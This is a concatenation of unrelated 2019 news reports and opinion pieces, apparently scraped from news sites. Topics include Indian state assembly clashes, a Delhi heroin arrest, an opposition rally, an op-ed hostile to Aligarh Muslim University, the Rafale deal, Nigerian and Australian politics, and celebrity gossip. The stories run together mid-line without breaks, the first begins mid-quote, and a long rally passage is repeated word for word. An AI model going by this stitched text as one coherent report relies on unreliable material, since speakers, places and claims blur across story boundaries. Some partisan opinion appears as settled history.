The Jhabreda MLA Deshraj Karnwal said that the Congress members were not disposed to put question on issues of public interest in the House. They enjoy disturbing the proceedings to score parochial brownie points. This is the real face of the party, he alleged.The Delhi Police on Wednesday arrested a 25- year-old civil engineer for allegedly trafficking drugs in the national Capital. Police have also recovered 500 grams of heroin from the possession of the accused.

The accused has been identified as Vinay a resident of Raghuvir Nagar in Delhi.

According to Dr Ajit Kumar Singla, Additional Commissioner of Police, Crime Branch, specific inputs were received regarding the accused that he would come near Parmanand Special Surgery Hospital, on Ring Road between 3:00 and 3:30 pm, for supplying huge consignment of Heroin to someone following which a trap was laid and the accused was apprehended.

"The accused with the help of her mother-in-law used to procure heroin from Bareilly (Uttar Pradesh) and used to supply in Delhi and its peripherals. Police have recovered 500 grams of heroin from his possession on the spot. A case under appropriate sections has been registered at Crime Branch police station," said Dr Singla.A thing of discord among its rivals is a joy forever for the ruling Congress. The party continues to sit comfortably on the fence, as both the Aam Aadmi Party and the Akalis continue to slug it out after turning Vidhan Sabha into a political arena in a battle for one-upmanship before the parliamentary polls.

Delighted it stands, as the entire opposition  be it its arch rivals SAD-BJP or the main opposition AAP, or be it the trifling Lok Insaaf Party (LIP)  was attacking each other, questioning each other and even trying to put each other down. And all the Congress MLAs did, is smiling at the sight.

All the rival parties were listing out numerous issue to corner the ruling regime, but they ended up fighting among themselves.

Akalis accused AAP of conniving with the Congress to save their chair of the Leader of Opposition. On the other hand, AAP blamed the Akalis of shedding the crocodile tears by staging walkout on ill-treatment meted out to the protesting teachers.

LIP MLA Simarjeet Bains take on both SAD and AAP for being hand-in-glove to disallow state governments buses to enter the IGI Airport in New Delhi, while facilitating Badals private buses by conspiring with the AAP-led Delhi Government.

Nothing could be best for the ruling party. They are actually fighting among themselves as they have no issue to raise, they have nothing against the government to say. It is they who are harming the states interest, they proved it themselves, a Cabinet Minister told The Pioneer off the record.

During the question hour, when the Akalis staged a walk out after the Speaker Rana KP Singh rejected their adjournment motion on the harassment of protesting teachers at Patiala, Simarjeet Bains reminded how the SAD leader and former Education Minister himself used to beat and pull female teachers from hair while requesting the Government to look into the teachers genuine demands.

Later when the Speaker Rana KP Singh tabled the report of business advisory committee, SAD MLA Parminder Singh Dhindsa accused AAP of being hand-in-glove with the ruling party as they are not raising any objection to the shirt duration of the session.

During the debate on the Governors Address, the House witnessed a fiery exchange of words between the SAD and AAP leaders. But the exact reason or the statement that triggered the same was unknown.

SAD MLA NK Sharma made some statement that irked the AAP MLAs, and the two sides, with AAP led by Aman Arora and SADs Dhindsa, Sharma, Gurpartap Singh Wadala, Pawan Kumar Tinu, engaged in verbal duel. Later, Speaker expunged the remarks.

Aman Aora, afterwards, apologised from the House for losing my cool.

In fact while attacking the Congress Government on the issue of law and order, the AAP MLAs made a veiled attack on the erstwhile SAD-BJP regime. Please dont do what they did in 10 years...dont follow their footsteps, urged AAP MLA Kultar Singh Sandhwan.

When Aman Arora was defending allegations against the AAP-led Delhi Government of disallowing states buses and allowing private operators to ply and pick passengers from Delhi Airport, Simarjeet Bains questioned why the state governments buses were stopped after Majithia-Kejriwal deal while referring to AAP supremo Kejriwals apology to SAD MLA and former Minister Bikram Majithia for drug allegations.

Bains statement fumed AAP legislators so much that even after the House was adjourned for the day, they continued to argue. And the Cabinet Minister Aruna Chaudhary and Congress MLA Barindermeet Singh Pahra were all smiles, must be thanking their luck to have a divided opposition.The opposition stalled the proceedings in the Uttar Pradesh Assembly for the second day in a row on Wednesday over Samajwadi Party chief Akhilesh Yadav being stopped from flying to Prayagraj a day earlier, forcing Speaker Hriday Narayan Dikshit to adjourn the House for the day.

The Question Hour was disrupted and the debate on the budget which was to commence on Tuesday did not begin even on Wednesday due to bedlam created by Samajwadi Party and Bahujan Samaj Party members.

The opposition members, including those of SP and BSP, were adamant on the demand for a probe by a sitting judge of the high court into the incident, but the government rejected it.

As soon as the House assembled, SP and BSP members rose on their feet demanding that their adjournment motion be heard first as the way Akhilesh Yadav was stopped from going to Prayagraj to attend a students union function was undemocratic.

After Speaker Hriday Narayan Dikshit failed to break the ice, the House was adjourned.

When the House reassembled, the Speaker allowed the members to speak on the issue.

SP member Narendra Verma claimed that Akhilesh had changed his programme and was going to the function of Akhara Parishad but a junior officer of Lucknow district administration stopped him at the airport. He further said that the police lodged fake cases against SP leaders and workers at Prayagraj and other places when they were silently protesting against undemocratic action of the government.

SP member Sangram Singh, who was present in Prayagraj on Tuesday, said that after Akhilesh was stopped, SP workers and leaders were protesting peacefully but the police instigated them and it led to the clash.

Let there be a probe by a sitting judge if the high court into the matter, he said.

BSP leader Lalji Verma also supported the SP members and termed the state governments act as dictatorial. He also demanded a probe by a sitting judge of the high court and withdrawal of all FIRs registered against SP workers.

Replying to opposition charges, Parliamentary Affairs Minister Suresh Kumar Khanna said the motive of Akhilesh Yadavs visit to Prayagraj was to instigate violence and hence he was stopped in Lucknow.

The SP leaders are engaging in doublespeak. First they said that he was going to attend a programme at Allahabad University and now they are claiming that he was going to attend an Akhara Parishad function. The change of stand by the SP vindicates the charges of UP government about the motive of the SP leader, he said.

Rejecting the opposition demand for a probe by a high court judge, Khanna said that the government was committed to maintaining law and order and would do whatever was required for it

The minister further said that when Akhilesh Yadav was informed ahead of his visit that Allahabad University did not permit any politician to attend the function, then why was he adamant on going to Prayagraj.

It was a conspiracy hatched against the government to disturb law and order in Prayagraj, where Kumbh Mela is presently underway, he said.

The Assembly was adjourned thrice and thereafter, for the day as SP members did not allow it to function.On the International Epilepsy Day on February 11, City doctors called for greater awareness and an end to the stigma around epilepsy. This is because the awareness about epilepsy, which is one of the most common neurological disorders, is abysmally low and people suffering from these often end up being ridiculed and stigmatised.

In India there are about 12 million persons with epilepsy.

Neurologist of JK Hospital Dr Markand Hirve says, Epilepsy patients can lead a normal life, ruing the fact that hundreds of people continue to suffer because of misinformation and are forced to live as social outcasts.

Lack of awareness and social stigma surrounding the disease leads to late treatment, complications and poses an emotional burden for the patient and his family members.

Another Neurologist Dr RS Yadav said epilepsy is a disease of the brain characterized by recurrent seizures, which are brief episodes of involuntary movement that may involve a part of the body (partial) or the entire body (generalized).

When nerve cell in the brain fire electrical impulses at a faster rate than normal, this causes a sort of electrical storm in the brain known as seizure. It can occur at any age.

Experts advise that people with epilepsy should not hide their condition, consult a doctor, take treatment regularly and lead normal life.Democracy reduced to NaMocracy: Didi

On a day West Bengal Chief Minister Mamata Banerjee gave a call to oust the Modi Government at a mega-Opposition rally titled Remove Dictatorship, Save Country, organised by the Aam Admi Party (AAP), top Opposition leaders met at NCP chief Sharad Pawars house in New Delhi to give shape to a grand alliance at the national level and prepare its common minimum programme (CMP).

Among those in attendance included Sharad Pawar, Congress president Rahul Gandhi, Mamata Banerjee, and Delhi Chief Minister and AAP chief Arvind Kejriwal.

After the meeting, Sharad Pawar, Rahul Gandhi and Mamata Banerjee addressed the media. We had a very constructive meeting, our collective target is to stop the BJP Government. We also deliberated on the common minimum programme of the coalition, Rahul said.

We agreed the principal target for all of us is to wipe out the assault on Indian institutions by Narendra Modi, BJP and RSS. We have a commitment that were all going to work together to defeat the BJP, he added. We will work together at the national level and have a pre-poll alliance, Mamata Banerjee said.

Earlier, leaders of 15 Opposition parties gathered in New Delhi at Jantar Mantar at the Kejriwal-hosted rally which became the second such show of strength after the TMC rally in Kolkata on January 19.

Addressing the rally here, Mamata asserted that democracy has become NaMocracy and the situation in the country is worse than the Emergency. The Trinamool Congress chief also declared that Wednesday was Modis last day as Prime Minister in Parliament. It is the PMs last day as elected leader in Parliament today, she said after the Lok Sabha was adjourned sine die. Everyone is afraid of Gabbar Singh. There are two of them  Modi and (BJP chief Amit) Shah, she said.

Kejriwal alleged Modi is trying to tear apart the Constitution and destroy democracy. On a day when the CAG report on the 2015 Rafale fighter deal was tabled in Parliament, Kejriwal said Modi should speak the truth on the agreement between India and France because as Prime Minister, he is accountable to the nation.

Modi Government has captured the Anti Corruption Branch in the last four years, he alleged. Attacking Prime Minister, Kejriwal sarcastically said Who dreams of capturing Delhi and Kolkata? The prime minister of Pakistan, Kejriwal said sarcastically.

A host of Opposition leaders, including TDP chief N Chandrababu Naidu, National Conferences Farooq Abdullah, Nationalist Congress Partys Sharad Pawar and CPI(M)s Sitaram Yechury, spoke at the protest event.

Mamata hit out the Centre over the CBIs bid to question Kolkata Police Commissioner Rajeev Kumar at his residence, saying she had not seen a Government that stooped so low.

Mamata further said while the Congress and the Trinamool Congress will contest against each other in West Bengal, they will fight together at the national level against the BJP. The statement comes hours after Mamata registered her displeasure with UPA chairperson Sonia Gandhi in Parliament over Congress leader Adhir Ranjan Chowdhurys attack in the Lok Sabha on her over the Saradha chit fund case.

While trying to placate her, Sonia said, We are accusing each other but we are friends.

To this, Mamata responded: I will remember.

Any fight with the Congress will remain in the State. At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything, she said at the rally.

Mamata also met RJDs Misa Bharti, Bahujan Samaj Partys (BSP) Satish Mishra, SPs Jaya Bachchan and Dimple Yadav in her room in Parliament in the morning.

Addressing the protest, Mamata appealed to all Opposition parties to play to their strengths and not cut into each others votes. She also exhorted them to ensure that the Opposition parties get all the seats in the States where they are strong.

Whichever party is strong should work there, fight there against the BJP, in Delhi, its AAP, in UP, it is BSP, SP, in Kashmir, there is Farooq Abdullah...For higher good, some sacrifices are needed...If we want, we can fight in many more seats, but we never do this for the higher good, she said.

In an apparent dig at the Congress whose State unit is fighting tooth and nail against the TMC, Mamata said while the Rahul Gandhi-led party is strong in the three heartland States, they should not cut into her partys votes in West Bengal.

We tell the Congress, if you are strong in Chhattisgarh, Madhya Pradesh and Rajasthan, you should fight there. But where we are strong, dont let the BJP win. I am used to fighting the BJP, CPM and the Congress because in Bengal, these three parties fight together. Even if we make an understanding, they dont transfer votes. I am used to this. I am not scared. How much ever they fight, I will get 42 out of 42, she asserted.

The PMs speech in Parliament was his last in the House as a peoples representative and that his Government has reached its expiry date, she said.

Asserting that regional parties are not weak, she appealed to all these parties to mobilise their workers so that the anti-BJP front gets stronger.

While trying to placate her, Sonia said, We are accusing each other but we are friends.

To this, Mamata responded: I will remember.

Any fight with the Congress will remain in the State. At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything, she said at the rally.

Mamata also met RJDs Misa Bharti, Bahujan Samaj Partys (BSP) Satish Mishra, SPs Jaya Bachchan and Dimple Yadav in her room in Parliament in the morning.

Addressing the protest, Mamata appealed to all Opposition parties to play to their strengths and not cut into each others votes. She also exhorted them to ensure that the Opposition parties get all the seats in the States where they are strong.

Whichever party is strong should work there, fight there against the BJP, in Delhi, its AAP, in UP, it is BSP, SP, in Kashmir, there is Farooq Abdullah...For higher good, some sacrifices are needed...If we want, we can fight in many more seats, but we never do this for the higher good, she said.

In an apparent dig at the Congress whose State unit is fighting tooth and nail against the TMC, Mamata said while the Rahul Gandhi-led party is strong in the three heartland States, they should not cut into her partys votes in West Bengal.

We tell the Congress, if you are strong in Chhattisgarh, Madhya Pradesh and Rajasthan, you should fight there. But where we are strong, dont let the BJP win. I am used to fighting the BJP, CPM and the Congress because in Bengal, these three parties fight together. Even if we make an understanding, they dont transfer votes. I am used to this. I am not scared. How much ever they fight, I will get 42 out of 42, she asserted.

The PMs speech in Parliament was his last in the House as a peoples representative and that his Government has reached its expiry date, she said.

Asserting that regional parties are not weak, she appealed to all these parties to mobilise their workers so that the anti-BJP front gets stronger.The body of a man from Pakistan-occupied Kashmir, who died while trying to sneak into India six months ago, was exhumed and handed over to the Pakistan Army at the LoC in Poonch district on Wednesday, officials said. The body of 34-year-old Mohamamad Arshad, a resident of Kotli Gujajran area of PoK, was exhumed from a graveyard at Mohra Kampala in Noushera sector of Rajouri district on the orders of DM Mohamamd Aijaz Asad, the officials said.

They said Ahmad was found dead near the LoC at Sair-Jhanger in Laam sector on July 23 last year and was subsequently buried at the graveyard after his identity could not be established. He died reportedly due to electrocution when trying to sneak through wires into the Indian side.

District magistrate Asad ordered that the body be exhumed after the Indian Army, on humanitarian gesture, forwarded a request by their Pakistani counterparts for handing over the body to his family across the LoC, the officials said. They said the body was exhumed in presence of senior police and civil officers from the graveyard on Tuesday and handed over to the Army to be sent to his family, the officials said.In Understanding Partition  one of the best books on why India had to be divided  author Yuvraj Krishan writes: MA Jinnah justifiably and aptly described the Aligarh Muslim University (AMU) as the arsenal of Pakistan. AMUs teachers and students actively supported the Pakistan movement and mobilised support for the policies and programmes of the Muslim League for the division of India and creation of the Muslim-majority state of Pakistan. Granting special status to AMU has regenerated the pre-independence brain trust of the Pakistan movement. A secular state has established an anti-secular institution.

Aligarh Muslim University and the two-nation theory provided the basis of the pro-Pakistan movement. (Source: India Today)

In writing so, Krishan was referring to the 'special minority status' granted by the central Congress government to AMU in 1981, through a legislation which was later challenged and continues to be debated on judicial turf, the Narendra Modi government taking a legal position that could result in AMUs minority status being taken away.

The issue is now before the Supreme Court, which has referred the matter to a seven-judge bench.

The Modi governments stand against giving minority status to AMU had triggered a slew of protests from minority leaders, with support from the so-called secular parties, from the Congress to the Samajwadi Party (SP). Their aim, to my mind, is to consolidate Muslim votes through continued minority appeasement.

But, in its exploration of AMU's past, significantly, Krishans book is one of the best works on the movement that led to the creation of Pakistan itself. It reflects on how, except for Abdul Majeed Khwaja, an educationist from Aligarh and a close follower of Mahatma Gandhi, no Aligarh-based Muslim in AMU opposed the movement demanding a separate Pakistan after it gained momentum in 1939  many were, in fact, its torchbearers.

AMU founder and educationist, Sir Syed Ahmed Khan, who died in 1898 after starting the Muhammadan Anglo-Oriental (MAO) College, which came to be known as AMU, had strongly advised the Muslims against joining the Hindu-dominated Congress and also promoted the idea that Hindus and Muslims are two distinct nations. This idea, of Hindus and Muslims being two nations, was later called the two-nation theory.

Still, till 1939, a significant number of AMU faculty members and students supported the Indian nationalist movement.

But, in 1939, the political sentiment shifted towards the separatist movement, thanks to strategic mistakes by Congress leaders who had made 'Muslim appeasement' a main feature of their strategy.

Sir Syed Ahmed Khan, founder of AMU, had asked Muslims not to join the 'Hindu-dominated' Congress. (Source: amu.ac.in)

What happened then was exactly the opposite  the more the Congress bowed before the Muslim League, the more virulent the League became in its separatist demands, finally resulting in Partition.

Meanwhile, AMU became a centre of the separatist movement by rallying behind Mohammed Ali Jinnah.

One has to look at the chronology of events from 1906 onwards to know how AMU and the two-nation theory provided the basis of the pro-Pakistan movement. In 1906, the All India Muslim League was founded with the help of Aga Khan and Nawab Waqar-ul-Mulk Kamboh. It was followed by the vision of Sir Muhammad Iqbal, who came out with his thesis supporting a separate homeland for the Muslims of India in 1930.

Many Indians who sing Saare Jahan Se Achha Hindustan Hamara with patriotic fervour are unaware that Iqbal wrote the song before 1908  when he was a nationalist.

Then, in a momentous shift, he swung from nationalism to an Islamic vision.

Iqbal continued to develop his Islamic theory till finally, in 1930, he spoke about a separate homeland for Muslims. The name Pakistan, for the new Muslim homeland, was coined by a Punjabi Muslim, Rahmat Ali Chaudhary, while studying at Cambridge in 1933. So, Iqbal floated the idea, Chaudhary gave it the name, Jinnah realised the dream.

Significantly enough, for the role that Sir Syeds views and his institution played in giving the two-nation theory shape, Sir Syeds name continues to be extremely respected in Pakistan.

Karachi's Sir Syed University of Engineering and Technology is named after him. Of course Indian pan-Islamists and left liberals may argue about what is wrong in naming an educational institution after an educationist of undivided India? In that case, one may also ask why no institution in Pakistan is named after, say, Ishwar Chandra Vidyasagar, another educationist of undivided India, but a Hindu?

Looking at the role of AMU in the creation of Pakistan, in my view, either the university should have been shut down after Partition or it should have continued with secular changes and a different name  fair enough if the new name was also Islamic.

But that didnt happen, thanks to Indias slanted 'secularism'.

Given AMU's bitter role in the history of the Partition, the University should have been reformed right after freedom. (Source: Twitter)

And now, ironically enough, in an example of 'pan-Islamic unity', even Deobandi leaders, who were at loggerheads with AMU at the time of the freedom movement on issues concerning Islamic practices, now want special status for AMU.

Those who favour special privileges for AMU might argue there is a significant section in the varsity that is moderate and, on that account, AMU's demand should be considered.

But that is just one side of the argument. There is another, bigger side to it that reveals reportedly that movements like the Students Islamic Movement of India (SIMI)  which had to be banned due alleged involvement in terror activities  also got a fillip at AMU. While this merits deeper investigation, there is also little to be gained by ignoring history's obvious lessons.

In the 1945-46 Central Assembly polls  the last Parliamentary election before Partition  over 86 per cent Muslim votes cast went to Jinnah's Muslim League and therefore, were a vote for Pakistan. Less than three per cent went to the Congress. Even though the total votes cast by Muslims were just 20 per cent in that election (voting used to be low in those days), the fact that 86 per cent of them did so in favour of the Muslim League does give a clear idea which way the majority of Muslim minds were swaying back then.

The debate over special demands by Muslims in independent India can't overlook this crucial fact. Much of the demand for Pakistan did come from cadres at the AMU and the institution continued to get special status despite this. The policy of such 'appeasement' has yielded nothing. The great ideologue and revolutionary, Veer Savarkar, had in fact warned as early as 1937 that the Congress policy of surrendering ground before the Muslim League by resorting to Muslim appeasement would prove very costly for the nation.

Thinker and Hindutva leader Veer Savarkar stood strictly against what he saw as 'minority appeasement'. (Source: India Today)

In 1940, when the Muslim League passed the Pakistan resolution, demanding a separate homeland for Indian Muslims, Savarkar again predicted Pakistan would be difficult to prevent, going by the way the Congress was kneeling down before the Muslim Leagues monstrous demands. Congress leaders at that time said that Pakistan would be formed over their dead bodies  but seven years later, they were proved entirely wrong and Savarkar correct.

Significantly, when some Congress leaders wanted Savarkar to join the party following his release from confinement in Ratnagiri, Savarkar refused, saying that in his view, minority appeasement was a betrayal of the nation and the Congress had gone so far down this path of appeasement that it was difficult for the party to retrace its steps.

Savarkar was a great visionary whose thinking was ahead of his times.

Almost all his warnings with regard to Indias national security are coming true today.

Also read: Please, AMU doesn't further need to prove its love for IndiaThere have often been arms deals that are controversial in India. To cite just one  the Bofors gun, purchased during Prime Minister Rajiv Gandhi's reign. There was a furore over the price of the weapon, with opponents claiming a scam of Rs 60 crores. The matter became more murky when the Swedish Prime Minister, Olaf Palme, who was supporting the Bofors transaction, was shot dead in Sweden in 1986.

No assassin was captured.

More to the point was the efficacy of the artillery weapon  the Bofors later turned out to be the Indian military's ace during the 1999 Kargil war.

But the Rafale deal beats all, not merely because of the price, but more so because of the controversies involved in the purchase.

Even the apex court is under fire as it relied on the government arguments apparently submitted on an unsigned piece of paper.

On its part, the Central Bureau of Investigation (CBI) has not yet initiated any investigation into the deal. Public-minded personnel have also not been allowed to place their own investigations before the CBI. On February 12, the Comptroller and Auditor General (CAG) was to submit an audit report. But more confusing is the CAG's likely report which was discredited after the Supreme Court mistakenly cited it, before it was made public, seemingly to clear the government of any wrongdoing.

Consequently, the issue is mired in partisan debates, ranging from television news, references to Parliament discussions, government and BJP spokespersons.

This confusion further confuses the Rafale deal with technical and procedural jargon. With all this, there is considerable chaos, further complicated by reported procedural violations leaked to allegedly toe the line of powerful decision-makers in the Prime Minister's Office. Matters are so tangled that the actual numbers of Rafale aircrafts in two different deals, at two different times, has become both confused and controversial.

The Rafale deal beats all because of the ever-flying controversies involved in the purchase. (Photo: PTI)

For example, PM Modi's reportedly unilateral decision to replace the acquisition of 126 Rafales with the procurement of 36 Rafales took both the Indian Air Force and Defence Minister Manohar Parrikar by surprise.

To my mind, this deal appears dubious. Arms expert Ajai Shukla, in an article published in the Business Standard, revealed that Dassault had bid 19.5 billion for 126 Rafales in 2007, some 40 per cent less per fighter than what the IAF is paying in the 7.87 billion contract for 36 Rafales, signed in 2016.

Further, the Medium Multi-Role Combat Aircraft (MMRCA) contract, including extra benefits of technology transfer to build 108 Rafales in India, would have galvanised India's aerospace industry. Earlier, the Defence Minister Nirmala Sitharaman had apparently promised to make these figures public, but then reportedly backtracked, citing a secrecy agreement with France.

Defence Minister Nirmala Sitharaman has vociferously defended the Rafale deal and its procedural steps. (Photo: PTI)

More worrisome are alleged attempts to weaken the Rafale deal.

The government has reportedly diluted the earlier 36-Rafale contract document, doing away with mandatory penalties for the use of "undue influence," use of "agents/agency/commission" and other mandatory clauses stipulated in the Defence Procurement Procedure, the rulebook for defence capital procurements. Ajai Shukla raises troubling questions  did the PMO intervene to remove an anti-corruption clause from a contract the Cabinet had already cleared? Was the "integrity clause" asked to be removed by the French? It doesn't appear to be so, as in this case, he claims, it is clear that the PMO apparently wanted the "anti-corruption clause removed."

However, Ajai Shukla also argues that despite further revelations, only a money trail would establish any criminal culpability in the Rafale affair.

Already, massive damage has been done. It is conceivable that we may never know whether there has been any corruption in the Rafale deal. Yet, Shukla puts it, "But the evidence of unforgivable incompetence is everywhere."

Also read: Rafale controversy: A lie travels halfway around the world while the truth is putting on its shoesNICOSIA, Cyprus (AP) - Cyprus' deputy minister for shipping says the number of companies setting up headquarters in the small east Mediterranean island nation has nearly doubled in the last six years, testament to its growing appeal as a maritime business hub.

Natasa Pilides told the Associated Press in an interview Wednesday that there are currently 203 shipping companies operating in Cyprus - 100 more than in 2013.

At least one has elected to relocate to Cyprus from Hong Kong. And with Brexit looming, Brexit, one British company has put most of its ships under the Cypriot flag while two U.K.-based shipping insurance companies are also moving to Cyprus.

Pilides said Cyprus' advantage lies in its stable business environment and clear tax and legal frameworks.

Shipping accounts for around 7 percent of Cyprus' economy.Nigerian President Muhammadu Buhari and Atiku Abubakar joined other candidates to sign a "peace accord" in Abuja

Nigeria's two main presidential hopefuls on Wednesday appealed for non-violence at this weekend's elections and vowed to accept the result.

President Muhammadu Buhari and Atiku Abubakar joined other candidates to sign a "peace accord", in front of foreign observers, including Commonwealth head Patricia Scotland.

The signatories called on their supporters "to refrain from violence or any acts that may in any way jeopardise our collective vision of a free, fair and credible election".

"We also pledge to respect the outcome of free, fair and credible elections," they added.

Some 84 million people are registered to vote on Saturday in presidential and parliamentary elections. Polling for new state governors and state assembly members is on March 2.

Buhari came to power in 2015 as the first opposition candidate to defeat a sitting president. In another first, his opponent, Goodluck Jonathan, also conceded defeat.

The head of state said this year's vote was another landmark, with more women and young people, and a record 91 parties and more than 70 presidential candidates.

But he called for greater engagement in politics to help address pressing issues in Africa's most populous nation.

"Elections by themselves do not constitute democracy," said Buhari, of the ruling All Progressives Congress (APC) party.

"It is the spirit of citizenship engagement that utilises the energy of citizens towards the attainment of good governance."

Abubakar, a former vice-president representing the Peoples Democratic Party (PDP), called on the election commission and security agencies to be neutral.

Claims that Buhari and the APC is looking to rig the result has been a feature of the PDP campaign, as has reminding voters of Buhari's past as a former military ruler.

He said in a speech that "General Buhari" needed to ensure that "every eligible person who casts their vote is confident in the process and in the belief that their vote will count".

Buhari, who he has accused of "dictatorship", also needed to "abide by the will of the people as freely expressed through elections, under the terms of our constitution", he added.

This year's ceremony was organised by former military ruler Abdulsalami Abubakar and his National Peace Committee, and backed by the Kofi Annan Foundation.

Former US president Bill Clinton was invited but decided not to travel to Abuja because his presence had "the potential to be politicised", his spokesman, Angel Urena said.The facility on remote Christmas Island closed in October last year

Australian Prime Minister Scott Morrison Wednesday announced the reopening of a controversial offshore migrant detention centre on Christmas Island, doubling down on hardline policies after a historic legislative defeat.

Morrison approved the reopening of the remote facility -- closed just months ago -- claiming new laws just passed by parliament would increase the number of people trying to arrive in Australia illegally.

On Tuesday and Wednesday parliament rebuffed government warnings and adopted legislation opening the door for some of the 1,000 refugees detained in existing offshore centres on Nauru and Papua New Guinea's Manus Island to travel to Australia for medical treatment if the transfers are requested by two or more doctors.

It was the first time in decades that an Australian government has lost a vote on its own legislation in the House of Representatives.

Morrison brushed aside suggestions that the law would only apply to those already in detention and accused the opposition of a bid to "weaken and compromise our borders".

His government, he said, was adopting "100 percent" of a series of recommendations from the country's security services to further tighten efforts to prevent the arrival of migrants and asylum-seekers by sea.

Australia immigration detention

He declined to specify what those classified measures were, other than to announce the reopening of the camp on Christmas Island, a remote Australian territory some 2,300 kilometres (1,400 miles) northwest of the western city of Perth.

"If they don't come, it will be because of the work and the decisions we are now taking and the actions we are putting in place," Morrison said. "If they do come, you can thank the Labor Party and (opposition leader) Bill Shorten."

- 'Cruel and dangerous' -

His decision comes as both parties gear up for a bitter campaign ahead of a general election due in May and amid fierce debate over the conservative government's harsh immigration policies.

Those policies have seen thousands of asylum-seekers languish for years on Manus and Nauru under conditions widely condemned by the United Nations and human rights organisation.

A dozen refugees have already died in the Manus and Nauru camps and a number have attempted suicide, including children.

"Ensuring access to adequate medical care for refugees and asylum-seekers is a life-saving, humanitarian act," said Louise Aubin, the representative of the United Nations High Commissioner for Refugees in Canberra.

The opposition Labor party responded furiously to what it called Morrison's "scare tactics" and said he was manufacturing a fear of migrants to win votes.

"The only person who wants boats to come is the Prime Minister Scott Morrison," said Sarah Hanson-Young, a senator for the Greens party, which backed the medical evacuation bill.

"He's desperate for one to arrive," she said, describing his behaviour as "pathetic, cruel and dangerous".

Labor's shadow solicitor general Mark Dreyfus accused Morrison of encouraging "people smugglers to re-start their evil trade," declaring him "not fit to be PM of this country".

In the wake of the parliamentary setback, Morrison refused calls to step down or call an early election, insisting that Australians would have time to make their choice in May.

His Liberal party is keen to deliver a surplus budget before the election to underpin its claim to be the best custodians of Australia's finances. Opinion polls consistently show the Labor Party easily taking control of government in the election.

The facility on Christmas Island, which sits in the Indian Ocean to the south of the Indonesian island of Java, once held thousands of people and was the scene of violent protests by detainees complaining of harsh conditions.

The last 35 detainees were taken off the island last October, when the camp was shuttered.The Real Housewives of new Jersey season nine reunion is just days away.

And a first glimpse of the drama was unveiled on Wednesday showing the women lashing out at each other with accusations and angry words flying.

The Bravo trailer is as explosive as expected with Teresa Giudice, Melissa Gorga, Margaret Josephs, Dolores Catania, Jennifer Aydin and Jackie Goldschneider going head to head alongside host Andy Cohen.

Scroll down for video

Explosive: Teresa Giudice and Jackie Goldschneider go head to head in the dramatic trailer for The Real Housewives of New Jersey reunion episodes

Coming soon: The reality stars gathered for a three-part reunion which kicks off on February 20

Teresa is on the attack is as she screams 'You f**king coldhearted bitch,' at someone - perhaps Melissa.

Melissa is seen yelling at Teresa, 'You want family, you treat me with respect, or you get no family,'

Jennifer pipes up, 'I'm not going to feel pity for a woman who is a homewrecker' as the camera cuts to Margaret who rolls her eyes and says 'Oh, please.'

Another jab comes from Jackie who tells Teresa 'I lose brain cells talking to you,'

Yikes! Things almost get physical between Jackie and Teresa after they exchanged insults

Melissa is seen yelling at Teresa, 'You want family, you treat me with respect, or you get no family,'

At one point, Teresa calls Jackie a 'white trash bitch,' and Jackie responds with 'You're not going to win a war of words with me.'

'Really, b****? You want to make a bet?' Teresa says to which Jackie replies 'Yeah,' Jackie says defiantly. Teresa then appears to lift an object as if she's about to throw something at Jackie.

Meanwhile, Andy asks Teresa the burning question about whether she will split from husband Joe if he's deported back to Italy after his jail sentence.

'I'm not going to feel pity for a woman who is a homewrecker' yells Jennifer

Margaret rolls her eyes and says 'Oh, please' in response to Jennifer's comments

'So what you're saying is, you will go your separate ways,' the host says as Teresa wipes tears from her eyes.

During the reunion some of the husbands join along with Danielle Staub.

There is also an awkward moment where Joe Gorga asks his sister Teresa whether she is using her vibrator.

Emotional: Teresa tears up when Andy asks her about whether she will separate from husband Joe if he's deported back to Italy

The first installment of the three-part reunion will air February 20 at 9pm on Bravo and will see Margaret and Jennifer arguing as well as Teresa and Jackie having a war of words.

The second part will air February 27 at 9pm where Teresa will discuss Joe's deportation.

The final installment on March 6 at 8pm will see Danielle and Margaret rehash their season-long feud.

TMI: There is also an awkward moment where Joe Gorga asks his sister Teresa whether she is using her vibratorJennifer Garner and John Miller have been dating for at least six months.

But it wasn't until Wednesday morning that the Alias actress and the burger CEO were spotted in a public display of affection.

The lovebirds were arm in arm during a warm hug at the Farm Shop in LA's Brentwood Country Mart mall where they had a breakfast date.

Arm in arm: Jennifer Garner and John Miller have been dating for at least six months. But it wasn't until Wednesday morning that the Alias actress and the burger CEO were spotted in a public display of affection

Early morning: The lovebirds were at the Farm Shop in LA's Brentwood Country Mart mall

They're comfortable with each other: Both had on jeans with boots as they felt no need to dress up for their date

The two held each other tight inside the upscale restaurant that serves eggs and waffles in a relaxed country setting.

And they were also seen leaving separately.

Garner had on a sweater with dark grey on top, light grey in the middle and a cream color on the bottom.

Checking out his woman: He looked over her shoulder as she seemed to pay the bill

Goofing around: Jennifer appeared to be in good spirits as she talked to the executive

The Camping actress added skintight light black jeans with black two-inch booties.

The mother-of-three, who is divorced from Ben Affleck, carried her cell phone and sunglasses as she went makeup free with her brown hair down.

Her beau had on an olive green shirt with ripped jeans and brown work boots.

Looking lean but not mean: The Camping actress added skintight light black jeans with black two-inch booties

Nothing can get her to stop smiling: The West Virginia native seems to in love with this new man in her life. She deserves joy after a rough split from Ben Afflekc

They were last seen together in early February as she left his home.

For the romantic evening, she opted for a casual look in faded denim jeans that were tucked into dark brown boots.

She matched it with a dark jacket and added heavy scarf around her neck for extra warmth and style on this chilly Southern California night.

That urban cool look: Her beau had on an olive green shirt with ripped jeans and brown work boots that made him look slightly metrosexual

Off to work: It was likely Miller was heading to his office to check on his burger business

The couple have reportedly been dating since the spring of 2018, and along the way they've tried to keep the relationship out of the public eye.

For the most part, the couple have spent much of their time together at the actress' $17.6 million Pacific Palisades home.

In fact, they were photographed a couple of weeks ago on the balcony of a home in the area talking and tenderly embracing each other.

No longer side by side: Ben and Jen in May 2009 in Boston, Massachusetts

Her loves: Garner has three kids: Violet, Samuel and Seraphina; seen in August

UsWeekly said they are 'very much in love' and 'serious' about each other. There have also been claims she might marry him.

'Jen is extremely happy,' a source told Hollywood Life. 'What she really loves about him is hes normal and not in the industry. It makes her feel so good to just be with a regular, normal guy in a normal relationship.'

Garner split from Affleck in 2015, but didn't finalize the divorce until October 4, 2018.

She shares children Violet, 13, Seraphina, 10, and Samuel, six, with the Batman star.

